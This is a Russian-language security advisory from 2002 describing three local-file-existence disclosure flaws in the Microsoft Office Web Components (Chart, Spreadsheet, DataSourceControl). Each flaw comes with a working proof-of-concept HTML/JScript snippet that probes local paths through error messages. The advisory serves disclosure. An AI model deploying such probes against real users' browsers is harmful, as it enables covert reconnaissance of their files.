Security Lab

Проверка существования файла в Microsoft Office+IE

Дата публикации:10.04.2002
Всего просмотров:1309
Опасность:
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Описание:

Office Web Components (OWC) – компонент Microsoft Office, используемый для создания HTML документов с электронными таблицами, диаграммами и т.п. В Office 2000 содержится 9-я версия OWC, в Office XP – 10-я.
Есть несколько способов проверить существования местных файлов, используя OWC9 и OWC10.
Первая уязвимость находится в компоненте Chart в OWC9 и OWC10. " Load" метод не выполняет проверку защиты на назначенном URL и выдает ошибку когда передано имя файла, которое не существует, иначе файл существует.
 

Пример:

<object id="oCS" classid="clsid:0002E500-0000-0000-C000-000000000046" style="display:none"></object>
<!-- For OWC10 the clsid is "0002E556-0000-0000-C000-000000000046" -->

<script language="jscript">
onload=function () {
try {
oCS.Load("file://c:/test.txt");
alert("File exists!");
}
catch (oErr) {
alert("File does not exist.");
}
}
</script>


Вторая уязвимость находится в компоненте Spreadsheet в OWC10. Свойство "XMLURL" позволяет выполнять переадресацию, позволяя назначить URL, который переадресовывает к местному файлу и определять, существует ли он в выдаваемой ошибке.
 

Пример:
<object id="oSP" classid="clsid:0002E551-0000-0000-C000-000000000046" style="display:block"></object>
<script language="jscript">
onload=function () {
try {
oSP.XMLURL="getFile.asp";
}
catch (oErr) {
alert(oErr.description.indexOf("valid path")==-1 ? "File exists!" :
"File does not exist.");
}
}
</script>


Третья уязвимость находится в компоненте DataSourceControl в OWC10. Свойство "ConnectionFile" не не выполняет проверку защиты на назначенном URL. Поэтому, возможно назначить местный файл и определять, существует ли он или нет по выдаваемой ошибке.

Пример:
<object id="oDS" classid="clsid:0002E553-0000-0000-C000-000000000046" style="display:block"></object>
<script language="jscript">
onload=function () {
try {
oDS.ConnectionFile="file://c:/test.txt";
}
catch (oErr) {
alert(oErr.number==-2146697211 ? "File does not exist." : "File
exists!");
}
}
</script>
Уязвимость найдена в OWC 9-10

Ссылки: Источник